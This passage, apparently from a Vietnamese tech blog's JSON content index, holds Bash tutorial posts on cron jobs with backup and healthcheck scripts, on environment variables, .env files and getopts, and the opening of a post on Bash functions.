-Is)\u0026#34; \u0026#34;$*\u0026#34; } log_error() { printf \u0026#39;%s [ERROR] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;$*\u0026#34; \u0026gt;\u0026amp;2 } cd \u0026#34;${SCRIPT_DIR}\u0026#34; log_info \u0026#34;Script started\u0026#34; Các điểm cần chú ý:\nKhai báo shebang rõ ràng. Bật set -euo pipefail để lỗi không bị nuốt im lặng. Đặt PATH trong script hoặc trong crontab. Dùng path tuyệt đối cho file quan trọng. Ghi log có timestamp. Không giả định cron chạy từ thư mục project. Redirect log trong cron Cron có thể gửi output qua mail nội bộ nếu hệ thống cấu hình mail. Trong thực tế DevOps, ghi log vào file thường dễ kiểm soát hơn.\nVí dụ redirect stdout và stderr:\n1 */5 * * * * /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.log 2\u0026gt;\u0026amp;1 Ý nghĩa:\n\u0026gt;\u0026gt; /var/log/check-health.log: append stdout vào file. 2\u0026gt;\u0026amp;1: chuyển stderr vào cùng nơi với stdout. Nếu muốn tách log lỗi riêng:\n1 */5 * * * * /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.out 2\u0026gt;\u0026gt; /var/log/check-health.err Với job chạy thường xuyên, cần có chiến lược rotate log bằng logrotate hoặc tự giới hạn dung lượng, nếu không file log có thể đầy disk.\nKiểm tra log cron Vị trí log cron phụ thuộc distro và cấu hình logging.\nTrên nhiều hệ thống Ubuntu/Debian dùng syslog:\n1 grep CRON /var/log/syslog Trên hệ thống dùng systemd journal:\n1 2 journalctl -u cron journalctl -u crond Một số distro dùng service tên crond thay vì cron. Nếu không chắc, kiểm tra service:\n1 2 systemctl status cron systemctl status crond Lưu ý: log cron thường chỉ cho biết cron đã gọi command hay chưa, không đảm bảo command thành công. Muốn biết script lỗi gì, bạn vẫn cần redirect output hoặc tự ghi log trong script.\nVấn đề PATH và environment trong cron Cron không load đầy đủ .bashrc, .profile hoặc environment giống terminal của bạn. Đây là nguyên nhân phổ biến khiến script chạy tay thì đúng, nhưng vào cron lại lỗi command not found.\nVí dụ nên đặt PATH ở đầu crontab:\n1 2 3 4 SHELL=/bin/bash PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin */5 * * * * /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.log 2\u0026gt;\u0026amp;1 Hoặc dùng path tuyệt đối cho command trong script:\n1 /usr/bin/curl --fail --silent --show-error https://example.com/health Với biến môi trường riêng của app, ưu tiên load từ file config do bạn kiểm soát:\n1 2 3 4 5 set -a source /etc/example-app/backup.env set +a : \u0026#34;${DATABASE_URL:?DATABASE_URL is required}\u0026#34; Không đặt secret trực tiếp trong crontab nếu nhiều người có quyền đọc crontab hoặc backup hệ thống. Với secret quan trọng, dùng secret manager, file quyền hạn chặt chẽ hoặc cơ chế secret của nền tảng đang dùng.\nThực hành DevOps: backup database hằng đêm Ví dụ dưới đây minh họa script backup PostgreSQL hằng đêm. Script dùng biến môi trường từ file cấu hình, tạo thư mục backup, nén output và xóa bản backup cũ.\nFile /opt/scripts/backup-db.sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #!/usr/bin/env bash set -euo pipefail PATH=\u0026#34;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34; ENV_FILE=\u0026#34;/etc/example-app/backup.env\u0026#34; BACKUP_DIR=\u0026#34;/var/backups/example-app\u0026#34; RETENTION_DAYS=\u0026#34;${RETENTION_DAYS:-7}\u0026#34; log() { printf \u0026#39;%s [%s] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;$1\u0026#34; \u0026#34;$2\u0026#34; } if [[ ! -r \u0026#34;${ENV_FILE}\u0026#34; ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;Cannot read env file: ${ENV_FILE}\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi set -a source \u0026#34;${ENV_FILE}\u0026#34; set +a : \u0026#34;${DATABASE_NAME:?DATABASE_NAME is required}\u0026#34; : \u0026#34;${DATABASE_USER:?DATABASE_USER is required}\u0026#34; : \u0026#34;${DATABASE_HOST:?DATABASE_HOST is required}\u0026#34; mkdir -p \u0026#34;${BACKUP_DIR}\u0026#34; backup_file=\u0026#34;${BACKUP_DIR}/${DATABASE_NAME}-$(date +%Y%m%d%H%M%S).sql.gz\u0026#34; log \u0026#34;INFO\u0026#34; \u0026#34;Starting backup to ${backup_file}\u0026#34; pg_dump \\ --host \u0026#34;${DATABASE_HOST}\u0026#34; \\ --username \u0026#34;${DATABASE_USER}\u0026#34; \\ --dbname \u0026#34;${DATABASE_NAME}\u0026#34; \\ --format plain \\ --no-owner \\ | gzip \u0026gt; \u0026#34;${backup_file}\u0026#34; find \u0026#34;${BACKUP_DIR}\u0026#34; -type f -name \u0026#34;${DATABASE_NAME}-*.sql.gz\u0026#34; -mtime +\u0026#34;${RETENTION_DAYS}\u0026#34; -delete log \u0026#34;INFO\u0026#34; \u0026#34;Backup completed\u0026#34; File /etc/example-app/backup.env:\n1 2 3 4 5 DATABASE_NAME=blog_app DATABASE_USER=backup_user DATABASE_HOST=db-01.example.com PGPASSWORD=\u0026lt;database-password\u0026gt; RETENTION_DAYS=14 Đặt quyền file config chặt chẽ:\n1 2 3 sudo chown root:root /etc/example-app/backup.env sudo chmod 600 /etc/example-app/backup.env sudo chmod 700 /opt/scripts/backup-db.sh Thêm cron job chạy lúc 02:30 mỗi ngày:\n1 30 2 * * * /opt/scripts/backup-db.sh \u0026gt;\u0026gt; /var/log/backup-db.log 2\u0026gt;\u0026amp;1 Trong môi trường thật, hãy test restore định kỳ. Backup chỉ có giá trị khi bạn biết chắc có thể khôi phục được.\nThực hành DevOps: healthcheck mỗi 5 phút Ví dụ script kiểm tra endpoint /health, retry nhẹ rồi ghi log. Nếu endpoint vẫn lỗi, script trả exit code khác 0 để cron log lại trạng thái lỗi.\nFile /opt/scripts/check-health.sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env bash set -euo pipefail PATH=\u0026#34;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34; HEALTH_URL=\u0026#34;${HEALTH_URL:-https://example.com/health}\u0026#34; MAX_ATTEMPTS=\u0026#34;${MAX_ATTEMPTS:-3}\u0026#34; DELAY_SECONDS=\u0026#34;${DELAY_SECONDS:-5}\u0026#34; log() { printf \u0026#39;%s [%s] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;$1\u0026#34; \u0026#34;$2\u0026#34; } attempt=1 while (( attempt \u0026lt;= MAX_ATTEMPTS )); do if curl --fail --silent --show-error --max-time 10 \u0026#34;${HEALTH_URL}\u0026#34; \u0026gt; /dev/null; then log \u0026#34;INFO\u0026#34; \u0026#34;Healthcheck OK: ${HEALTH_URL}\u0026#34; exit 0 fi log \u0026#34;WARN\u0026#34; \u0026#34;Healthcheck attempt ${attempt}/${MAX_ATTEMPTS} failed\u0026#34; if (( attempt == MAX_ATTEMPTS )); then log \u0026#34;ERROR\u0026#34; \u0026#34;Healthcheck failed after ${MAX_ATTEMPTS} attempts\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi sleep \u0026#34;${DELAY_SECONDS}\u0026#34; ((attempt++)) done Crontab:\n1 */5 * * * * HEALTH_URL=https://example.com/health /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.log 2\u0026gt;\u0026amp;1 Inline environment variable như trên phù hợp với giá trị không nhạy cảm. Nếu cần token hoặc header bí mật, hãy load từ file quyền hạn chặt chẽ hoặc secret manager thay vì đặt thẳng trong crontab.\nTránh job chạy chồng lên nhau Nếu một job chạy lâu hơn chu kỳ cron, lần chạy mới có thể bắt đầu khi lần cũ chưa xong. Điều này nguy hiểm với backup, cleanup hoặc deploy.\nMột cách phổ biến là dùng flock:\n1 */5 * * * * flock -n /tmp/check-health.lock /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.log 2\u0026gt;\u0026amp;1 flock -n sẽ không chờ lock. Nếu job cũ còn chạy, job mới thoát ngay. Với backup:\n1 30 2 * * * flock -n /tmp/backup-db.lock /opt/scripts/backup-db.sh \u0026gt;\u0026gt; /var/log/backup-db.log 2\u0026gt;\u0026amp;1 Không phải hệ thống nào cũng cài sẵn flock, nhưng trên nhiều distro Linux nó nằm trong gói util-linux. Nếu môi trường của bạn không có flock, cần dùng cơ chế lock khác và xử lý stale lock cẩn thận.\nSai sót thường gặp Quên redirect log: Job lỗi nhưng không có output để debug. Phụ thuộc vào working directory: Cron không đảm bảo chạy trong thư mục project. Thiếu PATH: Command như docker, kubectl, node, python có thể không tìm thấy. Dùng path tương đối: File config, log, backup nên dùng path tuyệt đối. Không kiểm soát job chạy chồng: Backup/cleanup có thể chạy đồng thời và gây hỏng dữ liệu. Đặt secret trực tiếp trong crontab: Khó quản lý quyền và audit. Không test command trước khi lưu crontab: Nên chạy script bằng đúng user sẽ chạy cron. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy chuẩn hóa mỗi cron job theo checklist nhỏ: Script có shebang, set -euo pipefail và path tuyệt đối. Crontab có comment mô tả mục đích job. Output được redirect vào log hoặc gửi về hệ thống logging. Job dài có lock để tránh chạy chồng. Secret nằm trong nơi phù hợp, không hardcode trong script public. Best practices: Test script bằng tay với đúng user: sudo -u \u0026lt;app-user\u0026gt; /opt/scripts/job.sh. Ghi timestamp trong log để dễ đối chiếu sự cố. Đặt PATH rõ ràng trong script hoặc crontab. Dùng flock cho job có thể chạy lâu. Theo dõi dung lượng log/backup bằng logrotate hoặc retention policy. Troubleshooting: Job không chạy? → Kiểm tra crontab -l, cú pháp lịch, timezone và log cron. Job chạy nhưng command lỗi? → Kiểm tra file log riêng của script. Chạy tay đúng nhưng cron sai? → Kiểm tra PATH, working directory, permission và biến môi trường. Lời kết Cron giúp Bash script trở thành một phần của lịch vận hành tự động: backup hằng đêm, healthcheck định kỳ, cleanup log hoặc tạo report. Nhưng để cron job đáng tin cậy, bạn cần viết script tự chủ về môi trường, dùng path tuyệt đối, ghi log rõ ràng và tránh chạy chồng khi job có thể kéo dài.\nỞ bài tiếp theo, chúng ta sẽ đi vào debug script Bash: bash -x, bash -n, set -x, set -e, set -u, pipefail, trap ERR, PS4 và shellcheck để tìm lỗi nhanh hơn.\nTài liệu tham khảo man7.org — crontab(5) — Tham khảo cú pháp crontab, 5 trường thời gian và các biến môi trường trong cron. man7.org — cron(8) — Mô tả cron daemon và cách cron xử lý lịch chạy. man7.org — flock(1) — Tham khảo flock để tránh job chạy chồng. PostgreSQL Documentation — pg_dump — Tài liệu chính thức về pg_dump dùng trong ví dụ backup. curl Documentation — Tham khảo --fail, --silent, --show-error, --max-time dùng trong ví dụ healthcheck. ","date":"28/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-eight.webp","permalink":"/vi/posts/bash/bash-step-eight/","summary":"Hướng dẫn dùng cron job với Bash: crontab, cú pháp lịch 5 trường, @daily, @reboot, log cron, PATH và ví dụ backup database, healthcheck tự động.","tags":["bash","shell-script","devops","automation","linux","cron","crontab"],"title":"Cron Job với Bash: tự động hóa theo lịch cho DevOps"},{"categories":["DevOps","Bash"],"content":"Vì sao biến môi trường quan trọng trong Bash Ở bài trước chúng ta đã tách logic thành function để script dễ tái sử dụng hơn. Khi script bắt đầu chạy trong nhiều môi trường — local, staging, production, CI/CD runner — vấn đề tiếp theo là: cấu hình lấy từ đâu và truyền vào như thế nào?\nBiến trong Bash giúp lưu giá trị tạm thời trong script. Biến môi trường giúp truyền cấu hình cho process con như docker, kubectl, aws, curl hoặc ứng dụng mà script khởi chạy. Nếu quản lý biến không rõ ràng, script rất dễ deploy nhầm môi trường, lộ secret, hoặc chạy sai vì thiếu config.\nBiến cục bộ và cách gán giá trị Cú pháp gán biến trong Bash không có khoảng trắng quanh dấu =:\n1 2 3 APP_NAME=\u0026#34;blog-api\u0026#34; ENVIRONMENT=\u0026#34;staging\u0026#34; RETRY_COUNT=3 Khi đọc biến, dùng $VAR hoặc ${VAR}. Trong script thực tế, ${VAR} thường rõ ràng hơn khi nối chuỗi:\n1 2 echo \u0026#34;Deploying ${APP_NAME} to ${ENVIRONMENT}\u0026#34; LOG_FILE=\u0026#34;/var/log/${APP_NAME}.log\u0026#34; Một lỗi rất phổ biến là thêm khoảng trắng:\n1 APP_NAME = \u0026#34;blog-api\u0026#34; # sai: Bash hiểu APP_NAME là command Khi giá trị có khoảng trắng hoặc ký tự đặc biệt, luôn quote biến:\n1 2 BACKUP_DIR=\u0026#34;/opt/backups/blog api\u0026#34; mkdir -p \u0026#34;${BACKUP_DIR}\u0026#34; Không quote biến có thể làm path bị tách thành nhiều argument, gây lỗi khó đoán trong script vận hành.\nexport: khi nào biến trở thành environment variable Biến Bash bình thường chỉ tồn tại trong shell hiện tại. Process con không tự thấy biến đó:\n1 2 APP_ENV=\u0026#34;staging\u0026#34; bash -c \u0026#39;echo \u0026#34;APP_ENV=$APP_ENV\u0026#34;\u0026#39; # rỗng Muốn process con đọc được, dùng export:\n1 2 export APP_ENV=\u0026#34;staging\u0026#34; bash -c \u0026#39;echo \u0026#34;APP_ENV=$APP_ENV\u0026#34;\u0026#39; # APP_ENV=staging Trong DevOps, export thường dùng khi gọi CLI hoặc chạy ứng dụng:\n1 2 3 4 export AWS_PROFILE=\u0026#34;staging\u0026#34; export KUBECONFIG=\u0026#34;${HOME}/.kube/staging-config\u0026#34; kubectl get pods Bạn cũng có thể truyền biến chỉ cho một command:\n1 APP_ENV=\u0026#34;staging\u0026#34; ./run-migration.sh Cách này gọn và an toàn hơn nếu biến chỉ cần tồn tại cho đúng một lệnh.\nXem, đặt và xóa biến với env, set, unset Một vài command hữu ích khi debug môi trường chạy script:\n1 2 3 4 env # in environment variables printenv APP_ENV # in một biến môi trường cụ thể set # in cả shell variables, functions và environment variables unset APP_ENV # xóa biến env phù hợp để kiểm tra process con sẽ thấy gì. set chi tiết hơn, nhưng output dài và có thể chứa dữ liệu nhạy cảm, nên hạn chế paste nguyên output vào ticket hoặc log.\nVí dụ kiểm tra biến bắt buộc:\n1 2 3 4 5 6 7 8 9 10 11 require_env() { local name=\u0026#34;$1\u0026#34; if [[ -z \u0026#34;${!name:-}\u0026#34; ]]; then echo \u0026#34;ERROR: missing required env ${name}\u0026#34; \u0026gt;\u0026amp;2 return 1 fi } require_env \u0026#34;APP_ENV\u0026#34; require_env \u0026#34;DATABASE_URL\u0026#34; Cú pháp ${!name} là indirect expansion: nếu name=\u0026quot;APP_ENV\u0026quot;, Bash sẽ đọc giá trị của biến APP_ENV.\nĐọc cấu hình từ file .env File .env giúp tách config khỏi code:\n1 2 3 APP_ENV=staging APP_PORT=8080 BACKUP_DIR=/opt/backups/blog Cách đơn giản để load file:\n1 2 3 set -a source .env set +a set -a làm các biến được gán sau đó tự động export, nên process con có thể đọc được.\nTuy nhiên, source .env sẽ thực thi nội dung file như Bash code. Vì vậy chỉ dùng với file bạn kiểm soát, không source file upload từ user hoặc nguồn không tin cậy.\nMột pattern an toàn hơn cho script deploy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 ENV_FILE=\u0026#34;${1:-.env}\u0026#34; if [[ ! -f \u0026#34;${ENV_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: env file not found: ${ENV_FILE}\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi set -a source \u0026#34;${ENV_FILE}\u0026#34; set +a : \u0026#34;${APP_ENV:?APP_ENV is required}\u0026#34; : \u0026#34;${APP_PORT:?APP_PORT is required}\u0026#34; Dòng : \u0026quot;${VAR:?message}\u0026quot; khiến script dừng ngay nếu biến chưa được set hoặc rỗng. Đây là cách fail-fast rất hữu ích trước khi chạy deploy.\nNhận tham số CLI bằng getopts Không phải cấu hình nào cũng nên nằm trong .env. Những giá trị thay đổi theo lần chạy, như môi trường đích hoặc chế độ dry-run, nên nhận qua flag:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/usr/bin/env bash set -euo pipefail ENVIRONMENT=\u0026#34;staging\u0026#34; DRY_RUN=\u0026#34;false\u0026#34; while getopts \u0026#34;:e:n\u0026#34; opt; do case \u0026#34;${opt}\u0026#34; in e) ENVIRONMENT=\u0026#34;${OPTARG}\u0026#34; ;; n) DRY_RUN=\u0026#34;true\u0026#34; ;; ?) echo \u0026#34;Usage: $0 [-e environment] [-n]\u0026#34; \u0026gt;\u0026amp;2 exit 2 ;; esac done echo \u0026#34;environment=${ENVIRONMENT} dry_run=${DRY_RUN}\u0026#34; Chạy thử:\n1 ./deploy.sh -e production -n getopts phù hợp cho option ngắn như -e production, -n. Nếu cần long option như --environment, bạn có thể tự parse bằng case, nhưng nên giữ format đơn giản để script dễ bảo trì.\n$IFS: kiểm soát cách Bash tách chuỗi IFS là Internal Field Separator — tập ký tự Bash dùng để tách word khi xử lý một số expansion và lệnh read. Mặc định gồm space, tab và newline.\nKhi đọc file từng dòng, dùng pattern này để giữ nguyên khoảng trắng đầu/cuối và không xử lý backslash đặc biệt:\n1 2 3 4 5 while IFS= read -r server; do [[ -z \u0026#34;${server}\u0026#34; || \u0026#34;${server}\u0026#34; == \\#* ]] \u0026amp;\u0026amp; continue echo \u0026#34;Checking ${server}\u0026#34; ssh \u0026#34;deploy@${server}\u0026#34; \u0026#34;hostname \u0026amp;\u0026amp; uptime\u0026#34; done \u0026lt; servers.txt Khi tách chuỗi CSV đơn giản:\n1 2 3 4 5 6 TARGETS=\u0026#34;web-01,web-02,web-03\u0026#34; IFS=\u0026#39;,\u0026#39; read -r -a servers \u0026lt;\u0026lt;\u0026lt; \u0026#34;${TARGETS}\u0026#34; for server in \u0026#34;${servers[@]}\u0026#34;; do echo \u0026#34;Deploy to ${server}\u0026#34; done Tránh đổi IFS global nếu không cần. Nếu phải đổi, hãy giới hạn trong một dòng hoặc một scope nhỏ để không làm hỏng phần khác của script.\nCác biến đặc biệt thường gặp Bash có nhiều biến đặc biệt rất hữu ích khi viết script vận hành:\nBiến Ý nghĩa $0 Tên script đang chạy $1, $2 Tham số vị trí $@ Toàn bộ tham số, nên dùng \u0026quot;$@\u0026quot; $# Số lượng tham số $? Exit code của command vừa chạy $$ PID của shell hiện tại $! PID của background process gần nhất ${BASH_SOURCE[0]} Đường dẫn file script hiện tại trong Bash Ví dụ dùng $! và wait để theo dõi background job:\n1 2 3 4 5 6 7 8 9 10 11 ./long-healthcheck.sh \u0026amp; healthcheck_pid=$! echo \u0026#34;Healthcheck PID: ${healthcheck_pid}\u0026#34; if wait \u0026#34;${healthcheck_pid}\u0026#34;; then echo \u0026#34;Healthcheck passed\u0026#34; else echo \u0026#34;Healthcheck failed\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi Ví dụ lấy thư mục chứa script, không phụ thuộc bạn chạy script từ đâu:\n1 2 SCRIPT_DIR=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;${BASH_SOURCE[0]}\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; source \u0026#34;${SCRIPT_DIR}/lib/log.sh\u0026#34; Pattern này rất hữu ích khi script cần load file config hoặc thư viện nằm cạnh nó.\nVí dụ DevOps: script deploy đọc .env, nhận flag và validate biến Ví dụ dưới đây mô phỏng một script deploy nhỏ. Script nhận môi trường qua -e, hỗ trợ dry-run bằng -n, load file .env.\u0026lt;environment\u0026gt;, validate biến bắt buộc rồi chạy lệnh deploy.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #!/usr/bin/env bash set -euo pipefail ENVIRONMENT=\u0026#34;staging\u0026#34; DRY_RUN=\u0026#34;false\u0026#34; usage() { echo \u0026#34;Usage: $0 [-e staging|production] [-n]\u0026#34; \u0026gt;\u0026amp;2 } while getopts \u0026#34;:e:n\u0026#34; opt; do case \u0026#34;${opt}\u0026#34; in e) ENVIRONMENT=\u0026#34;${OPTARG}\u0026#34; ;; n) DRY_RUN=\u0026#34;true\u0026#34; ;; ?) usage; exit 2 ;; esac done case \u0026#34;${ENVIRONMENT}\u0026#34; in staging|production) ;; *) echo \u0026#34;ERROR: unsupported environment: ${ENVIRONMENT}\u0026#34; \u0026gt;\u0026amp;2 exit 2 ;; esac SCRIPT_DIR=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;${BASH_SOURCE[0]}\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; ENV_FILE=\u0026#34;${SCRIPT_DIR}/.env.${ENVIRONMENT}\u0026#34; if [[ ! -f \u0026#34;${ENV_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: env file not found: ${ENV_FILE}\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi set -a source \u0026#34;${ENV_FILE}\u0026#34; set +a : \u0026#34;${APP_NAME:?APP_NAME is required}\u0026#34; : \u0026#34;${IMAGE_TAG:?IMAGE_TAG is required}\u0026#34; : \u0026#34;${DEPLOY_HOST:?DEPLOY_HOST is required}\u0026#34; cmd=(ssh \u0026#34;deploy@${DEPLOY_HOST}\u0026#34; \u0026#34;docker service update --image ${APP_NAME}:${IMAGE_TAG} ${APP_NAME}\u0026#34;) printf \u0026#39;Environment: %s\\n\u0026#39; \u0026#34;${ENVIRONMENT}\u0026#34; printf \u0026#39;Command: %q \u0026#39; \u0026#34;${cmd[@]}\u0026#34; printf \u0026#39;\\n\u0026#39; if [[ \u0026#34;${DRY_RUN}\u0026#34; == \u0026#34;true\u0026#34; ]]; then echo \u0026#34;Dry-run mode: command was not executed\u0026#34; exit 0 fi \u0026#34;${cmd[@]}\u0026#34; File .env.staging có thể như sau:\n1 2 3 APP_NAME=blog-api IMAGE_TAG=2026.06.24 DEPLOY_HOST=webserver-01 Điểm quan trọng trong ví dụ:\nKhông hardcode host/image tag trong script. Validate môi trường hợp lệ trước khi source file. Dùng set -a để export config cho process con nếu cần. Dùng dry-run để kiểm tra lệnh trước khi chạy thật. Quote biến khi dựng path và argument. Sai sót thường gặp Gán biến có khoảng trắng quanh =: NAME = value là sai trong Bash. Không quote biến: Path có khoảng trắng hoặc ký tự glob như * có thể làm script chạy sai. Export quá nhiều: Chỉ export biến mà process con cần đọc. Source .env không tin cậy: .env là Bash code khi dùng source, có thể thực thi lệnh. Đưa secret vào log: Tránh set -x quanh đoạn xử lý token/password. Dùng $1 trực tiếp với set -u: Hãy dùng ${1:-} hoặc validate trước. Đổi IFS global: Có thể làm hỏng loop hoặc parse argument ở đoạn sau. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy phân loại cấu hình: Giá trị cố định theo môi trường → .env.staging, .env.production hoặc config file riêng. Giá trị thay đổi theo lần chạy → flag CLI qua getopts. Secret → biến môi trường từ CI/CD secret store hoặc vault, không commit vào git. Best practices: Bật set -u để phát hiện biến chưa khai báo, nhưng dùng ${VAR:-} khi biến optional. Validate biến bắt buộc sớm bằng : \u0026quot;${VAR:?message}\u0026quot;. Dùng printenv VAR để debug một biến thay vì in toàn bộ environment. Prefix biến theo app, ví dụ BLOG_APP_ENV, để tránh trùng tên. Không commit file .env chứa secret; chỉ commit .env.example. Troubleshooting: Process con không thấy biến? → Kiểm tra bạn đã export chưa. Script chạy đúng local nhưng sai cron/CI? → Kiểm tra PATH, working directory và biến môi trường runner cung cấp. .env không load đúng? → Kiểm tra file có syntax Bash hợp lệ, không có khoảng trắng quanh =. Lời kết Quản lý biến tốt giúp Bash script chạy ổn định hơn giữa nhiều môi trường. Hãy giữ code và config tách biệt, validate biến bắt buộc trước khi thao tác thật, quote biến khi dùng trong command, và chỉ export những gì process con cần.\nỞ bài tiếp theo, chúng ta sẽ đi vào cron job với Bash: cú pháp lịch chạy, crontab, @daily, @reboot, log cron, vấn đề PATH và ví dụ backup/healthcheck tự động.\nTài liệu tham khảo GNU Bash Manual — Shell Parameters — Tài liệu chính thức về positional parameters và special parameters. GNU Bash Manual — Bourne Shell Builtins — Tham khảo export, set, unset, getopts, source. GNU Bash Manual — Word Splitting — Giải thích vai trò của IFS trong word splitting. The Open Group — Shell Command Language — Tham khảo chuẩn POSIX shell về biến, quoting và expansion. ","date":"24/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-seven.webp","permalink":"/vi/posts/bash/bash-step-seven/","summary":"Hướng dẫn quản lý biến trong Bash: biến cục bộ, export, env, set/unset, file .env, getopts, IFS và các biến đặc biệt thường dùng khi viết script DevOps.","tags":["bash","shell-script","devops","automation","linux","environment-variable"],"title":"Quản lý biến và môi trường trong Bash cho DevOps"},{"categories":["DevOps","Bash"],"content":"Function trong Bash cho DevOps Ở bài trước chúng ta đã dùng grep, awk và sed để xử lý log/config. Khi script bắt đầu dài hơn, bạn sẽ gặp một vấn đề mới: nhiều đoạn code bị lặp lại — kiểm tra file, ghi log, validate biến môi trường, retry command, tạo backup trước khi sửa config.\nFunction giúp gom một nhóm lệnh thành một khối có tên, có thể gọi lại nhiều lần. Với DevOps, đây là bước quan trọng để biến các script “chạy được” thành script dễ đọc, dễ test và dễ bảo trì hơn.\nKhai báo function trong Bash Bash hỗ trợ hai kiểu khai báo phổ biến:\n1 2 3 4 5 6 7 log_info() { echo \u0026#34;INFO: $1\u0026#34; } function log_error { echo \u0026#34;ERROR: $1\u0026#34; \u0026gt;\u0026amp;2 } Trong thực tế, kiểu name() { ...; } thường được dùng nhiều vì ngắn gọn và portable hơn giữa các shell kiểu POSIX. Với bài này, chúng ta tập trung vào Bash nên cả hai đều chạy được.\nGọi function giống gọi command:\n1 2 log_info \u0026#34;Starting deploy\u0026#34; log_error \u0026#34;Deploy failed\u0026#34; Lưu ý khoảng trắng và dấu ; khi viết một dòng:\n1 say_hello() { echo \u0026#34;hello\u0026#34;; } Nếu viết nhiều dòng, dấu ; trước } không cần thiết vì newline đã kết thúc command.\nFunction nhận tham số bằng $1, $@, $# Trong function, Bash dùng các positional parameters giống script:\n$1, $2, \u0026hellip;: tham số thứ nhất, thứ hai, \u0026hellip; $@: toàn bộ tham số, giữ từng argument riêng khi được quote thành \u0026quot;$@\u0026quot;. $#: số lượng tham số. $0: tên script, không phải tên function. Ví dụ function kiểm tra service:\n1 2 3 4 5 6 7 8 9 10 11 12 13 check_service() { local service_name=\u0026#34;$1\u0026#34; if systemctl is-active --quiet \u0026#34;${service_name}\u0026#34;; then echo \u0026#34;OK: ${service_name} is running\u0026#34; else echo \u0026#34;ERROR: ${service_name} is not running\u0026#34; \u0026gt;\u0026amp;2 return 1 fi } check_service \u0026#34;nginx\u0026#34; check_service \u0026#34;docker\u0026#34; Khi cần truyền toàn bộ argument sang command khác, dùng \u0026quot;$@\u0026quot;:\n1 2 3 4 5 6 run_cmd() { echo \u0026#34;+ $*\u0026#34; \u0026#34;$@\u0026#34; } run_cmd ls -lah /var/log \u0026quot;$@\u0026quot; giữ nguyên ranh giới argument. Đây là lựa chọn an toàn hơn so với $* khi tham số có khoảng trắng.\nValidate tham số đầu vào Function nên kiểm tra tham số bắt buộc ngay từ đầu để lỗi rõ ràng hơn.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 require_arg() { local name=\u0026#34;$1\u0026#34; local value=\u0026#34;${2:-}\u0026#34; if [[ -z \u0026#34;${value}\u0026#34; ]]; then echo \u0026#34;ERROR: Missing required argument: ${name}\u0026#34; \u0026gt;\u0026amp;2 return 2 fi } backup_file() { local file_path=\u0026#34;${1:-}\u0026#34; require_arg \u0026#34;file_path\u0026#34; \u0026#34;${file_path}\u0026#34; || return $? if [[ ! -f \u0026#34;${file_path}\u0026#34; ]]; then echo \u0026#34;ERROR: Not a regular file: ${file_path}\u0026#34; \u0026gt;\u0026amp;2 return 1 fi cp -- \u0026#34;${file_path}\u0026#34; \u0026#34;${file_path}.bak.$(date +%Y%m%d%H%M%S)\u0026#34; } Dùng ${1:-} giúp tránh lỗi “unbound variable” khi script bật set -u mà function được gọi thiếu tham số.\nReturn value trong Bash là exit code Function Bash không return dữ liệu dạng string như nhiều ngôn ngữ lập trình. return trong Bash trả về exit code từ 0 đến 255:\n0: thành công. Khác 0: lỗi hoặc trạng thái đặc biệt. 1 2 3 4 5 6 7 8 9 10 is_readable_file() { local file_path=\u0026#34;$1\u0026#34; [[ -f \u0026#34;${file_path}\u0026#34; \u0026amp;\u0026amp; -r \u0026#34;${file_path}\u0026#34; ]] } if is_readable_file \u0026#34;./app.env\u0026#34;; then echo \u0026#34;app.env is readable\u0026#34; else echo \u0026#34;Cannot read app.env\u0026#34; \u0026gt;\u0026amp;2 fi Ở ví dụ trên, function không cần viết return rõ ràng. Exit code của lệnh cuối cùng ([[ ... ]]) sẽ trở thành exit code của function.\nNếu muốn function “trả về dữ liệu”, hãy in ra stdout rồi dùng command substitution:\n1 2 3 4 5 get_timestamp() { date +%Y%m%d%H%M%S } backup_name=\u0026#34;app.env.$(get_timestamp).bak\u0026#34; Nguyên tắc thực dụng: dùng exit code cho đúng/sai, dùng stdout cho dữ liệu.\nBiến local để tránh side effect Theo mặc định, biến trong function Bash là global trong phạm vi shell hiện tại. Dùng local để giới hạn biến trong function.\n1 2 3 4 5 6 7 8 9 10 build_backup_path() { local source_file=\u0026#34;$1\u0026#34; local timestamp local base_name timestamp=\u0026#34;$(date +%Y%m%d%H%M%S)\u0026#34; 